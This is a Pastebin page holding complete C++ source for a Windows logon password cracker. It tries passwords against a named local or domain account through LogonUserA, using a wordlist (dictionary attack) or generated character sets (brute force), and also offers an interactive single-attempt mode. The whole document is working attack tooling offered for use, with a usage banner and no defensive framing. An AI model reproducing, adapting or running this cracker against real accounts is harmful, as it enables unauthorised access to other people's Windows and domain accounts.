Guest User

Windows Login Cracker

a guest
Mar 18th, 2012
179
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 5.06 KB | None | 0 0
  1. #include <Windows.h>
  2. #include <conio.h>
  3. #include <cstdio>
  4. #include <cstdlib>
  5. #include <cctype>
  6.  
  7. void die(const char* format, ...) {
  8.     va_list v;
  9.     va_start(v, format);
  10.     vfprintf(stderr, format, v);
  11.     exit(1);
  12. }
  13.  
  14. int logon(const char* user, const char* pass, const char* domain, bool showmsg) {
  15.     DWORD ret = 1;
  16.     HANDLE tok;
  17.     char* msg;
  18.     if (!LogonUserA(user,domain,pass,LOGON32_LOGON_NETWORK,LOGON32_PROVIDER_DEFAULT,&tok)) {
  19.         ret = 0;
  20.         if (showmsg) {
  21.             ret = GetLastError();
  22.             FormatMessageA(
  23.                 FORMAT_MESSAGE_ALLOCATE_BUFFER |
  24.                 FORMAT_MESSAGE_FROM_SYSTEM |
  25.                 FORMAT_MESSAGE_IGNORE_INSERTS,
  26.                 NULL,
  27.                 ret,
  28.                 NULL,
  29.                 (char*)&msg,
  30.                 0, NULL
  31.             );
  32.             puts(msg);
  33.             LocalFree(msg);
  34.         }
  35.     } else { if (showmsg) puts("Success!"); }
  36.     CloseHandle(tok);
  37.     return ret;
  38. }
  39.  
  40. void prompt() {
  41.     char *domain, *user, *pass, *input;
  42.     domain = (char*)malloc(256);
  43.     user = (char*)malloc(256);
  44.     pass = (char*)malloc(256);
  45.     input = (char*)malloc(256);
  46.     domain[0] = '.';
  47.     domain[1] = 0;
  48.     for (;;) {
  49.         fputs("-", stdout);
  50.         gets(input);
  51.         switch (input[0]) {
  52.         case '?':
  53.             puts(
  54.                 "Interactive mode commands:\n"
  55.                 "d DOMAIN    Set domain (Use  \".\" for local machine)\n"
  56.                 "u USER      Set username\n"
  57.                 "p PASS      Set password\n"
  58.                 "x           Attempt logon\n"
  59.                 "q           Quit\n"
  60.             );
  61.             break;
  62.         case 'd': strcpy(domain, input + 2); break;
  63.         case 'u': strcpy(user, input + 2); break;
  64.         case 'p': strcpy(pass, input + 2); break;
  65.         case 'x': logon(user, pass, domain, true); break;
  66.         case 'q': free(domain); free(user); free(pass); free(input); return;
  67.         default: puts("Unknown command\n");
  68.         }
  69.     }
  70. }
  71.  
  72. struct pass_type {
  73.     bool lcase;
  74.     bool ucase;
  75.     bool digit;
  76.     bool punct;
  77.     bool space;
  78. };
  79.  
  80. void brute(const char* user, struct pass_type * ptype, const char* domain) {
  81.     char i;
  82.     int j = 0, k;
  83.     char * chrs, * pass;
  84.     bool carry;
  85.     chrs = (char*)malloc(100);
  86.     pass = (char*)malloc(256);
  87.     if (ptype->lcase) for (i = 'a'; i <= 'z'; i++, j++) chrs[j] = i;
  88.     if (ptype->digit) for (i = '0'; i <= '9'; i++, j++) chrs[j] = i;
  89.     if (ptype->space) chrs[j++] = ' ';
  90.     if (ptype->ucase) for (i = 'A'; i <= 'Z'; i++, j++) chrs[j] = i;
  91.     if (ptype->punct) for (i = 0x21; i < 0x7f; i++) if (ispunct(i)) chrs[j++] = i;
  92.     for (k = 0; chrs[k]; k++); k--;
  93.     chrs[j] = 0;
  94.     pass[0] = chrs[0];
  95.     pass[1] = 0;
  96.     puts("Press Enter anytime to stop. . .");
  97.     Sleep(1000);
  98.     for (puts(pass); !logon(user, pass, domain, false); puts(pass)) {
  99.         if (_kbhit()) if (_getch() == '\r') {
  100.             free(chrs);
  101.             free(pass);
  102.             puts("\nStopped.");
  103.             return;
  104.         }
  105.         i = 0;
  106.         do {
  107.             if (pass[i] == chrs[k]) {
  108.                 carry = true;
  109.                 pass[i] = chrs[0];
  110.             } else {
  111.                 carry = false;
  112.                 pass[i] = *(strchr(chrs, pass[i]) + 1);
  113.                 break;
  114.             }
  115.         } while (pass[++i]);
  116.         if (carry) {
  117.             j = strlen(pass);
  118.             pass[j] = chrs[0];
  119.             pass[++j] = 0;
  120.         }
  121.     }
  122.     puts("\nSuccess!");
  123.     return;
  124. }
  125.  
  126. int main(int argc, char ** argv) {
  127.     if (argc == 1)
  128.         die(
  129.             "wlpc - by Jakash3\n"
  130.             "Windows Logon Password Cracker\n"
  131.             "Usage: %s [username [-w wordfile | -b [-l -u -d -p -s]] [-d domain]] | -i \n\n"
  132.             "-w wordfile  Dictionary attack. Using file containing line by line passwords\n"
  133.             "-b           Bruteforce attack using one or more of the following switches:\n"
  134.             "   -l           Include lowercase alphabetical characters.\n"
  135.             "   -u           Include uppercase alphabetical characters.\n"
  136.             "   -n           Include digit characters\n"
  137.             "   -p           Include punctuation characters\n"
  138.             "   -s           Include space\n"
  139.             "username   Name of user account to try logging in as\n"
  140.             "-d domain  Optional. Remote Domain or server holding the user account\n"
  141.             "-i         Interactive mode\n", argv[0]
  142.         );
  143.     if (argc == 2 && !strcmp(argv[1], "-i")) { prompt(); return 0; }
  144.     FILE* f;
  145.     char *pass, *domain = ".", *wfile;
  146.     bool bf = false;
  147.     struct pass_type p;
  148.     memset(&p, 0, sizeof(struct pass_type));
  149.     int i;
  150.     for (i = 1; i < argc; i++) {
  151.         if (!strcmp(argv[i], "-d")) domain = argv[++i];
  152.         else if (!strcmp(argv[i], "-i")) { prompt(); return 0; }
  153.         else if (!strcmp(argv[i], "-w")) wfile = argv[++i];
  154.         else if (!strcmp(argv[i], "-b")) bf = true;
  155.         else if (!strcmp(argv[i], "-l")) p.lcase = true;
  156.         else if (!strcmp(argv[i], "-u")) p.ucase = true;
  157.         else if (!strcmp(argv[i], "-n")) p.digit = true;
  158.         else if (!strcmp(argv[i], "-p")) p.punct = true;
  159.         else if (!strcmp(argv[i], "-s")) p.space = true;
  160.     }
  161.     if (bf) { brute(argv[1], &p, domain); return 0; }
  162.     pass = (char*)malloc(256);
  163.     if (!(f = fopen(wfile, "r"))) die("Failed to open %s\n", wfile);
  164.     pass = (char*)malloc(256);
  165.     puts("Press Enter anytime to stop. . .");
  166.     Sleep(1000);
  167.     while (!feof(f)) {
  168.         if (_kbhit())
  169.             if (_getch() == '\r') {
  170.                 fclose(f);
  171.                 free(pass);
  172.                 puts("\nStopped.");
  173.                 return 0;
  174.             }
  175.         if (!fgets(pass, 256, f)) break;
  176.         *strpbrk(pass, "\r\n") = 0;
  177.         puts(pass);
  178.         if (logon(argv[1], pass, domain, false)) {
  179.             puts("\nSuccess!");
  180.             fclose(f);
  181.             free(pass);
  182.             return 0;
  183.         }
  184.     }
  185.     puts("\nEnd of file!");
  186.     fclose(f);
  187.     free(pass);
  188.     return 0;
  189. }
Add Comment
Please, Sign In to add comment